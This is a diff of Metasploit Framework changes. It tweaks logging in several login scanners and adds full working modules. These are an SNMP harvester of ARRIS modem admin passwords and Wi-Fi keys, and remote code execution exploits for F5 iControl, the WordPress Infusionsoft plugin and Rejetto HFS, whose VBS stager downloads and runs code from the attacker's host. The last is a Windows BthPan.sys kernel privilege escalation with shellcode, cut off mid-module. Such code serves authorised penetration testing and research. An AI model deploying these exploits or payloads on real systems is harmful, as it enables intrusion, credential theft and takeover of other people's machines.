# If we got here, it didn't work

View File

@ -85,7 +85,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end

View File

@ -112,7 +112,9 @@ class Metasploit3 < Msf::Auxiliary
report_creds(ip, rport, result)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
invalidate_login(
address: ip,
port: rport,
@ -125,7 +127,9 @@ class Metasploit3 < Msf::Auxiliary
)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}', #{result.proof}"
end
invalidate_login(
address: ip,
port: rport,

View File

@ -0,0 +1,315 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'ARRIS / Motorola SBG6580 Cable Modem SNMP Enumeration Module',
'Description' => 'This module allows SNMP enumeration of the ARRIS / Motorola
SURFboard SBG6580 Series Wi-Fi Cable Modem Gateway. It supports the username
and password for the device user interface as well as wireless network keys
and information.
The default community used is "public".',
'References' =>
[
[ 'URL', 'http://seclists.org/fulldisclosure/2014/May/79' ],
[ 'URL', 'http://www.arrisi.com/modems/datasheet/SBG6580/SBG6580_UserGuide.pdf' ],
[ 'OSVDB', '110555' ]
],
'Author' => 'Matthew Kienow <mkienow[at]inokii.com>',
'License' => MSF_LICENSE
))
# change SNMP version option to match device specification
register_options(
[
OptString.new('VERSION', [ true, 'SNMP Version <1/2c>', '2c' ])
], self.class)
end
def run_host(ip)
begin
snmp = connect_snmp
# represents the order of the output data fields
fields_order = [
"Host IP", "Username", "Password", "SSID", "802.11 Band",
"Network Authentication Mode", "WEP Passphrase", "WEP Encryption",
"WEP Key 1", "WEP Key 2", "WEP Key 3", "WEP Key 4",
"Current Network Key", "WPA Encryption", "WPA Pre-Shared Key (PSK)",
"RADIUS Server", "RADIUS Port", "RADIUS Key"
]
output_data = {"Host IP" => ip}
sys_descr = snmp.get_value('sysDescr.0')
if is_valid_snmp_value(sys_descr) and sys_descr.to_s =~ /SBG6580/
# print connected status after the first query so if there are
# any timeout or connectivity errors; the code would already
# have jumped to error handling where the error status is
# already being displayed.
print_good("#{ip}, Connected.")
# attempt to get the username and password for the device user interface
# using the CableHome cabhPsDevMib MIB module which defines the
# basic management objects for the Portal Services (PS) logical element
# of a CableHome compliant Residential Gateway device
device_ui_selection = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.3.0')
if is_valid_snmp_value(device_ui_selection) and device_ui_selection.to_i == 1
# manufacturerLocal(1) - indicates Portal Services is using the vendor
# web user interface shipped with the device
device_ui_username = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.1.0')
if is_valid_snmp_value(device_ui_username)
output_data["Username"] = device_ui_username.to_s
end
device_ui_password = snmp.get_value('1.3.6.1.4.1.4491.2.4.1.1.6.1.2.0')
if is_valid_snmp_value(device_ui_password)
output_data["Password"] = device_ui_password.to_s
end
end
wifi_ifindex = get_primary_wifi_ifindex(snmp)
if wifi_ifindex < 1
print_status("Primary WiFi is disabled on the device")
end
ssid = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(ssid)
output_data["SSID"] = ssid.to_s
end
wireless_band = snmp.get_value('1.3.6.1.4.1.4413.2.2.2.1.5.1.18.0')
if is_valid_snmp_value(wireless_band)
output_data["802.11 Band"] = get_wireless_band_name(wireless_band.to_i)
end
network_auth_mode = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.1.14.1.5.#{wifi_ifindex}")
if is_valid_snmp_value(network_auth_mode)
network_auth_mode = network_auth_mode.to_i
network_auth_mode_name = get_network_auth_mode_name(network_auth_mode)
output_data["Network Authentication Mode"] = network_auth_mode_name
end
case network_auth_mode
when 1, 6
# WEP, WEP 802.1x Authentication
wep_passphrase = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(wep_passphrase)
output_data["WEP Passphrase"] = wep_passphrase.to_s
end
wep_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wep_encryption)
wep_encryption = wep_encryption.to_i
else
wep_encryption = -1
end
wep_encryption_name = "Unknown"
wep_key1 = wep_key2 = wep_key3 = wep_key4 = nil
# get appropriate WEP keys based on wep_encryption setting
if wep_encryption == 1
wep_encryption_name = "64-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.2.1.2.#{wifi_ifindex}.4")
elsif wep_encryption == 2
wep_encryption_name = "128-bit"
wep_key1 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.1")
wep_key2 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.2")
wep_key3 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.3")
wep_key4 = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.3.1.2.#{wifi_ifindex}.4")
end
output_data["WEP Encryption"] = wep_encryption_name
if is_valid_snmp_value(wep_key1)
output_data["WEP Key 1"] = wep_key1.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key2)
output_data["WEP Key 2"] = wep_key2.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key3)
output_data["WEP Key 3"] = wep_key3.unpack('H*')[0]
end
if is_valid_snmp_value(wep_key4)
output_data["WEP Key 4"] = wep_key4.unpack('H*')[0]
end
# get current network key
current_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.1.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(current_key)
output_data["Current Network Key"] = current_key.to_s
end
if network_auth_mode == 6
get_radius_info(snmp, wifi_ifindex, output_data)
end
when 2, 3, 4, 5, 7, 8
# process all flavors of WPA
wpa_encryption = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.1.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_encryption)
output_data["WPA Encryption"] = get_wpa_encryption_name(wpa_encryption.to_i)
end
wpa_psk = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.4.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(wpa_psk)
output_data["WPA Pre-Shared Key (PSK)"] = wpa_psk.to_s
end
case network_auth_mode
when 4, 5, 8
get_radius_info(snmp, wifi_ifindex, output_data)
end
end
# output
print_line("")
print_status("Device information:\n")
line = ""
width = 30 # name field width
fields_order.each {|k|
if not output_data.has_key?(k)
next
end
v = output_data[k]
if (v.nil? or v.empty? or v =~ /Null/)
v = '-'
end
report_note(
:host => ip,
:proto => 'udp',
:sname => 'snmp',
:port => datastore['RPORT'].to_i,
:type => "snmp.#{k}",
:data => v
)
line << sprintf("%s%s: %s\n", k, " "*([0,width-k.length].max), v)
}
print_line(line)
else
print_error("#{ip} does not appear to be a SBG6580.")
end
rescue SNMP::RequestTimeout
print_error("#{ip} SNMP request timeout.")
rescue Rex::ConnectionError
print_error("#{ip} Connection refused.")
rescue SNMP::InvalidIpAddress
print_error("#{ip} Invalid IP Address. Check it with 'snmpwalk tool'.")
rescue SNMP::UnsupportedVersion
print_error("#{ip} Unsupported SNMP version specified. Select from '1' or '2c'.")
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error("Unknown error: #{e.class} #{e}")
elog("Unknown error: #{e.class} #{e}")
elog("Call stack:\n#{e.backtrace.join "\n"}")
ensure
disconnect_snmp
end
end
def get_primary_wifi_ifindex(snmp)
# The ifTable contains interface entries where each row represents
# management information for a particular interface. Locate the first
# interface where ifType is 71 (ieee80211) and ifAdminStatus is 1 (up).
wifi_ifindex = 0
ifTable_columns = ["ifIndex", "ifDescr", "ifType", "ifAdminStatus"]
snmp.walk(ifTable_columns) do |ifIndex, ifDescr, ifType, ifAdminStatus|
if (wifi_ifindex < 1 and ifType.value == 71 and ifAdminStatus.value == 1)
wifi_ifindex = ifIndex.value.to_i
end
end
wifi_ifindex
end
def is_valid_snmp_value(value)
if value.nil? or value.to_s =~ /Null/ or value.to_s =~ /^noSuch/
return false
end
return true
end
def get_network_auth_mode_name(network_auth_mode)
case network_auth_mode
when 0
"Open Security"
when 1
"WEP"
when 2
"WPA-PSK"
when 3
"WPA2-PSK"
when 4
"WPA RADIUS"
when 5
"WPA2 RADIUS"
when 6
"WEP 802.1x Authentication"
when 7
"WPA-PSK and WPA2-PSK"
when 8
"WPA and WPA2 RADIUS"
else
"Unknown"
end
end
def get_wireless_band_name(wireless_band)
case wireless_band
when 1
"2.4 Ghz"
when 2
"5 Ghz"
else
"Unknown"
end
end
def get_wpa_encryption_name(wpa_encryption)
case wpa_encryption
when 2
"AES"
when 3
"TKIP+AES"
else
"Unknown"
end
end
def get_radius_info(snmp, wifi_ifindex, output_data)
radius_server = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.2.#{wifi_ifindex}")
if is_valid_snmp_value(radius_server)
output_data["RADIUS Server"] = radius_server.unpack("C4").join(".")
end
radius_port = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.3.#{wifi_ifindex}")
if is_valid_snmp_value(radius_port)
output_data["RADIUS Port"] = radius_port.to_s.strip
end
radius_key = snmp.get_value("1.3.6.1.4.1.4413.2.2.2.1.5.4.2.5.1.4.#{wifi_ifindex}")
if is_valid_snmp_value(radius_key)
output_data["RADIUS Key"] = radius_key.to_s
end
end
end

View File

@ -77,7 +77,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -132,12 +132,16 @@ class Metasploit3 < Msf::Auxiliary
session_setup(result, scanner.ssh_socket)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
else

View File

@ -223,12 +223,16 @@ class Metasploit3 < Msf::Auxiliary
session_setup(result, scanner.ssh_socket)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Could not connect"
end
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'"
end
invalidate_login(credential_data)
scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed?
else

View File

@ -84,7 +84,7 @@ class Metasploit3 < Msf::Auxiliary
start_telnet_session(ip,rport,result.credential.public,result.credential.private,scanner)
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end
end

View File

@ -89,11 +89,15 @@ class Metasploit3 < Msf::Auxiliary
create_credential_login(credential_data)
:next_user
when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => 'Could not connect'
end
invalidate_login(credential_data)
:abort
when Metasploit::Model::Login::Status::INCORRECT
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
if datastore['VERBOSE']
print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}' #{result.proof}"
end
invalidate_login(credential_data)
end
end

View File

@ -93,7 +93,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end

View File

@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
print_good "#{ip}:#{rport} - LOGIN SUCCESSFUL: #{result.credential}"
else
invalidate_login(credential_data)
print_status "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
vprint_error "#{ip}:#{rport} - LOGIN FAILED: #{result.credential} (#{result.status}: #{result.proof})"
end
end

View File

@ -0,0 +1,143 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "F5 iControl Remote Root Command Execution",
'Description' => %q{
This module exploits an authenticated remote command execution
vulnerability in the F5 BIGIP iControl API (and likely other
F5 devices).
},
'License' => MSF_LICENSE,
'Author' =>
[
'bperry' # Discovery, Metasploit module
],
'References' =>
[
['CVE', '2014-2928'],
['URL', 'http://support.f5.com/kb/en-us/solutions/public/15000/200/sol15220.html']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['F5 iControl', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 17 2013",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
], self.class)
end
def check
get_hostname = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:get_hostname xmlns:n1="urn:iControl:System/Inet" />
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => get_hostname,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
res.body =~ /y:string">(.*)<\/return/
hostname = $1
send_cmd("whoami")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => get_hostname,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
res.body =~ /y:string">(.*)<\/return/
new_hostname = $1
if new_hostname == "root.a.b"
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
<hostname>#{hostname}</hostname>
</n1:set_hostname>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def send_cmd(cmd)
pay = %Q{<?xml version="1.0" encoding="ISO-8859-1"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
<SOAP-ENV:Body>
<n1:set_hostname xmlns:n1="urn:iControl:System/Inet">
<hostname>`#{cmd}`.a.b</hostname>
</n1:set_hostname>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
}
send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
})
end
def exploit
filename = Rex::Text.rand_text_alpha_lower(5)
print_status('Sending payload in chunks, might take a small bit...')
i = 0
while i < payload.encoded.length
cmd = "echo #{Rex::Text.encode_base64(payload.encoded[i..i+4])}|base64 --decode|tee -a /tmp/#{filename}"
send_cmd(cmd)
i = i + 5
end
print_status('Triggering payload...')
send_cmd("sh /tmp/#{filename}")
end
end

View File

@ -0,0 +1,82 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::HTTP::Wordpress
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress InfusionSoft Upload Vulnerability',
'Description' => %q{
This module exploits an arbitrary PHP code upload in the WordPress Infusionsoft Gravity
Forms plugin, versions from 1.5.3 to 1.5.10. The vulnerability allows for arbitrary file
upload and remote code execution.
},
'Author' =>
[
'g0blin', # Vulnerability Discovery
'us3r777 <us3r777@n0b0.so>' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-6446'],
['URL', 'http://research.g0blin.co.uk/cve-2014-6446/'],
['WPVDB', '7634']
],
'Privileged' => false,
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Infusionsoft 1.5.3 - 1.5.10', {}]],
'DisclosureDate' => 'Sep 25 2014',
'DefaultTarget' => 0)
)
end
def check
res = send_request_cgi(
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft', 'Infusionsoft', 'utilities', 'code_generator.php')
)
if res && res.code == 200 && res.body =~ /Code Generator/ && res.body =~ /Infusionsoft/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
def exploit
php_pagename = rand_text_alpha(8 + rand(8)) + '.php'
res = send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', 'code_generator.php'),
'method' => 'POST',
'vars_post' =>
{
'fileNamePattern' => php_pagename,
'fileTemplate' => payload.encoded
}
})
if res && res.code == 200 && res.body && res.body.to_s =~ /Creating File/
print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
register_files_for_cleanup(php_pagename)
else
fail_with("#{peer} - Unable to deploy payload, server returned #{res.code}")
end
print_status("#{peer} - Calling payload ...")
send_request_cgi({
'uri' => normalize_uri(wordpress_url_plugins, 'infusionsoft',
'Infusionsoft', 'utilities', php_pagename)
}, 2)
end
end

View File

@ -0,0 +1,121 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Rejetto HttpFileServer Remote Command Execution",
'Description' => %q{
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a
poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by
using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b
over Windows XP SP3, Windows 7 SP1 and Windows 8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Daniele Linguaglossa <danielelinguaglossa[at]gmail.com>', # orginal discovery
'Muhamad Fadzil Ramli <mind1355[at]gmail.com>' # metasploit module
],
'References' =>
[
['CVE', '2014-6287'],
['OSVDB', '111386'],
['URL', 'http://seclists.org/bugtraq/2014/Sep/85'],
['URL', 'http://www.rejetto.com/wiki/index.php?title=HFS:_scripting_commands']
],
'Payload' => { 'BadChars' => "\x0d\x0a\x00" },
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
],
'Privileged' => false,
'Stance' => Msf::Exploit::Stance::Aggressive,
'DisclosureDate' => "Sep 11 2014",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The path of the web application', '/']),
OptInt.new('HTTPDELAY', [false, 'Seconds to wait before terminating web server', 10]),
], self.class)
end
def check
res = send_request_raw({
'method' => 'GET',
'uri' => '/'
})
if res && res.headers['Server'] && res.headers['Server'] =~ /HFS ([\d.]+)/
version = $1
if Gem::Version.new(version) <= Gem::Version.new("2.3")
return Exploit::CheckCode::Detected
else
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
end
def on_request_uri(cli, req)
print_status("#{peer} - Payload request received: #{req.uri}")
exe = generate_payload_exe
vbs = Msf::Util::EXE.to_exe_vbs(exe)
send_response(cli, vbs, {'Content-Type' => 'application/octet-stream'})
# remove resource after serving 1st request as 'exec' execute 4x
# during exploitation
remove_resource(get_resource)
end
def primer
file_name = rand_text_alpha(rand(10)+5)
file_ext = '.vbs'
file_full_name = file_name + file_ext
vbs_path = "%TEMP%\\#{file_full_name}"
vbs_code = "Set x=CreateObject(\"Microsoft.XMLHTTP\")\x0d\x0a"
vbs_code << "On Error Resume Next\x0d\x0a"
vbs_code << "x.Open \"GET\",\"http://#{datastore['LHOST']}:#{datastore['SRVPORT']}#{get_resource}\",False\x0d\x0a"
vbs_code << "If Err.Number <> 0 Then\x0d\x0a"
vbs_code << "wsh.exit\x0d\x0a"
vbs_code << "End If\x0d\x0a"
vbs_code << "x.Send\x0d\x0a"
vbs_code << "Execute x.responseText"
payloads = [
"save|#{vbs_path}|#{vbs_code}",
"exec|wscript.exe //B //NOLOGO #{vbs_path}"
]
print_status("Sending a malicious request to #{target_uri.path}")
payloads.each do |payload|
send_request_raw({
'method' => 'GET',
'uri' => "/?search=%00{.#{URI::encode(payload)}.}"
})
end
register_file_for_cleanup(vbs_path)
end
def exploit
begin
Timeout.timeout(datastore['HTTPDELAY']) { super }
rescue Timeout::Error
# When the server stops due to our timeout, this is raised
end
end
end

View File

@ -0,0 +1,203 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/exploit/local/windows_kernel'
require 'rex'
class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking
include Msf::Exploit::Local::WindowsKernel
include Msf::Post::File
include Msf::Post::Windows::FileInfo
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Bluetooth Personal Area Networking (BthPan.sys) Privilege Escalation',
'Description' => %q{
A vulnerability within Microsoft Bluetooth Personal Area Networking module,
BthPan.sys, can allow an attacker to inject memory controlled by the attacker
into an arbitrary location. This can be used by an attacker to overwrite
HalDispatchTable+0x4 and execute arbitrary code by subsequently calling
NtQueryIntervalProfile.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Matt Bergin <level[at]korelogic.com>', # Vulnerability discovery and PoC
'Jay Smith <jsmith[at]korelogic.com>' # MSF module
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Targets' =>
[
['Windows XP SP3',
{
'HaliQuerySystemInfo' => 0x16bba,
'_KPROCESS' => "\x44",
'_TOKEN' => "\xc8",
'_UPID' => "\x84",
'_APLINKS' => "\x88"
}
]
],
'References' =>
[
[ 'CVE', '2014-4971' ],
[ 'URL', 'https://www.korelogic.com/Resources/Advisories/KL-001-2014-002.txt' ],
[ 'OSVDB', '109387' ]
],
'DisclosureDate' => 'Jul 18 2014',
'DefaultTarget' => 0
))
end
def ring0_shellcode
tokenswap = "\x60\x64\xA1\x24\x01\x00\x00"
tokenswap << "\x8B\x40\x44\x50\xBB\x04"
tokenswap << "\x00\x00\x00\x8B\x80\x88"
tokenswap << "\x00\x00\x00\x2D\x88"
tokenswap << "\x00\x00\x00\x39\x98\x84"
tokenswap << "\x00\x00\x00\x75\xED\x8B\xB8\xC8"
tokenswap << "\x00\x00\x00\x83\xE7\xF8\x58\xBB"
tokenswap << [session.sys.process.getpid].pack('V')
tokenswap << "\x8B\x80\x88\x00\x00\x00"
tokenswap << "\x2D\x88\x00\x00\x00"
tokenswap << "\x39\x98\x84\x00\x00\x00"
tokenswap << "\x75\xED\x89\xB8\xC8"
tokenswap << "\x00\x00\x00\x61\xC3"
end
def fill_memory(proc, address, length, content)
session.railgun.ntdll.NtAllocateVirtualMemory(-1, [ address ].pack('V'), nil, [ length ].pack('V'), "MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN", "PAGE_EXECUTE_READWRITE")
unless proc.memory.writable?(address)
vprint_error("Failed to allocate memory")
return nil
end
vprint_good("#{address} is now writable")
result = proc.memory.write(address, content)
if result.nil?
vprint_error("Failed to write contents to memory")
return nil
end
vprint_good("Contents successfully written to 0x#{address.to_s(16)}")
return address
end
def disclose_addresses(t)
addresses = {}
hal_dispatch_table = find_haldispatchtable
return nil if hal_dispatch_table.nil?
addresses['halDispatchTable'] = hal_dispatch_table
vprint_good("HalDispatchTable found at 0x#{addresses['halDispatchTable'].to_s(16)}")
vprint_status('Getting the hal.dll base address...')
hal_info = find_sys_base('hal.dll')
if hal_info.nil?
vprint_error('Failed to disclose hal.dll base address')
return nil
end
hal_base = hal_info[0]
vprint_good("hal.dll base address disclosed at 0x#{hal_base.to_s(16)}")
hali_query_system_information = hal_base + t['HaliQuerySystemInfo']
addresses['HaliQuerySystemInfo'] = hali_query_system_information
vprint_good("HaliQuerySystemInfo address disclosed at 0x#{addresses['HaliQuerySystemInfo'].to_s(16)}")
addresses
end
def check
if sysinfo["Architecture"] =~ /wow64/i || sysinfo["Architecture"] =~ /x64/
return Exploit::CheckCode::Safe
end
os = sysinfo["OS"]
return Exploit::CheckCode::Safe unless os =~ /windows xp.*service pack 3/i
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
return Exploit::CheckCode::Safe unless handle
session.railgun.kernel32.CloseHandle(handle)
return Exploit::CheckCode::Vulnerable
end
def exploit
if is_system?
fail_with(Exploit::Failure::None, 'Session is already elevated')
end
unless check == Exploit::CheckCode::Vulnerable
fail_with(Exploit::Failure::NotVulnerable, "Exploit not available on this system")
end
handle = open_device("\\\\.\\bthpan", 'FILE_SHARE_WRITE|FILE_SHARE_READ', 0, 'OPEN_EXISTING')
if handle.nil?
fail_with(Failure::NoTarget, "Unable to open \\\\.\\bthpan device")
end
my_target = targets[0]
print_status("Disclosing the HalDispatchTable address...")
@addresses = disclose_addresses(my_target)
if @addresses.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Failed to disclose necessary address for exploitation. Aborting.")
else
print_good("Address successfully disclosed.")
end
print_status("Storing the shellcode in memory...")
this_proc = session.sys.process.open
kernel_shell = ring0_shellcode
kernel_shell_address = 0x1
buf = "\x90" * 0x6000
buf[0, 1028] = "\x50\x00\x00\x00" + "\x90" * 0x400
buf[0x5000, kernel_shell.length] = kernel_shell
result = fill_memory(this_proc, kernel_shell_address, buf.length, buf)
if result.nil?
session.railgun.kernel32.CloseHandle(handle)
fail_with(Failure::Unknown, "Error while storing the kernel stager shellcode on memory")
end
print_good("Kernel stager successfully stored at 0x#{kernel_shell_address.to_s(16)}")
print_status("Triggering the vulnerability, corrupting the HalDispatchTable...")
session.railgun.ntdll.NtDeviceIoControlFile(handle, nil, nil, nil, 4, 0x0012d814, 0x1, 0x258, @addresses["halDispatchTable"] + 0x4, 0)
session.railgun.kernel32.CloseHandle(handle)
print_status("Executing the Kernel Stager throw NtQueryIntervalProfile()...")
session.railgun.ntdll.NtQueryIntervalProfile(2, 4)
print_status("Checking privileges after exploitation...")
unless is_system?
fail_with(Failure::Unknown, "The privilege escalation wasn't successful")
end
print_good("Privilege escalation successful!")
p = payload.encoded
print_status("Injecting #{p.length} bytes to memory and executing it...")
